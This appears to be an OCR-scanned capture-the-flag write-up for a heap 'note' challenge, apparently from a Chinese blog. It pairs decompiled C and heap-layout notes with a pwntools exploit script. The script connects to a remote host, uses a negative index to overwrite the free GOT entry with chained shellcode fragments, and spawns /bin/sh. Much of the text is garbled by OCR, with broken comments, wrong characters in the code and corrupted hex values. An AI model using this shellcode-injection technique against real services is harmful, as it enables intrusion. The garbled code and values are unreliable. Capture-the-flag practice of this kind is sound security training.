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mov rdi
Xor rsi
mov rax

xor rdx,r

syscall
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ENEE R freetligotss, FTLIEIE, freefigotatuiht, T M AN,

3 off_202018 dq offset free : ‘ - -
20 off_202020 dg offset puts . DATA XREF tstr
off_202028 dq offset _ stack_chk_fail

freefIS 3 FBIENL, EEBEHRATEN 7

.bss:00000000002020A0 qword 2020A8  dq OCh dup(?) | . DATA XRI

bss :00000000002020A0

002020 bss ends
.bss : 00000000002020A0 freefHilt

#coding=utf-8

from pwn import *

context.log level="'debug'
context.update(arch="amd64" )#64{s
#io=process("./note")
io=remote("111.198.29.45",59605)

#F R — R B

#E, K& (%0

def add(index,content):
io.recvuntil("your choice>>")
io.sendline("1")
io.recvuntil("index:")
io.sendline(str(index))
io.recvuntil("size:")
io.sendline("8") #&EBHIENRAMERFY
io.recvuntil("content:")
io.sendline(content)

def dele(index):
io.recvuntil("your choice>>")
io.sendline("4")
io.recvuntil("index:")
io.sendline(str(index))

add(@, "/bin/sh")

add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") #0x90Blnop ; EBE} jmp short
add(1,asm("mov eax, Ox3b")+"\xeb\x19")

add(2,asm("xor rdx, rdx")+"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,"\x90"))

dele(0)

io.interactive()



>>> enhex(asm("xor rsi,rsi"))
483116

>>> enhex(asm("mov eax,0x3b"))
'b83h000000

>>> enhex(asm("xor rdx,rdx"))
'4831d2"

>>> enhex (asm("syscall"))

"0705" https://blog.csdn.netigq_43935969
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python

from pwn import *

enhex(asm("JL4#f%A3")

archif B 221 amd64, W] LA B A B B N64 47 iR 2

context(os="1linux"', arch='amdé64', log level='debug')
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if ( dword_20209C >= 0@ )

{
result = (unsigned int)dword_20209C;
if ( dword_20209C <= 11 )

{
printf("index:");
vl = sub_B91();
pri ey I
result = sub_B91();
v2 = result;
if ( (signed int)result >= @ & (signed int)result <= 8 )
e
qword 2020AB[v1] = malloc((signed int)result);
1 qword_202 vi] )
{
puts("malloc error”);
exit(0);
}
printf(“content:");
sub_B69(qword_2020A8[v1], v2);
result = (unsigned int)(dword_20209C++ + i);
}
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Prev size 0x8F 15
size Ox8F+

OX5FF 3000

Chunk0
(2575) Jmp short next ChunkORJEHIEX0x8=5
0=EIR(1577)
0x20-8*3 = Ox8F IR
Prev size 0x8F%5
Size Ox8F+
OX5F3 3000
Chunk1
(2575) Jmp short next Chunk1fU&dRK
0=#IR(157%)

0x20-8*3 = Ox8FHZEIE
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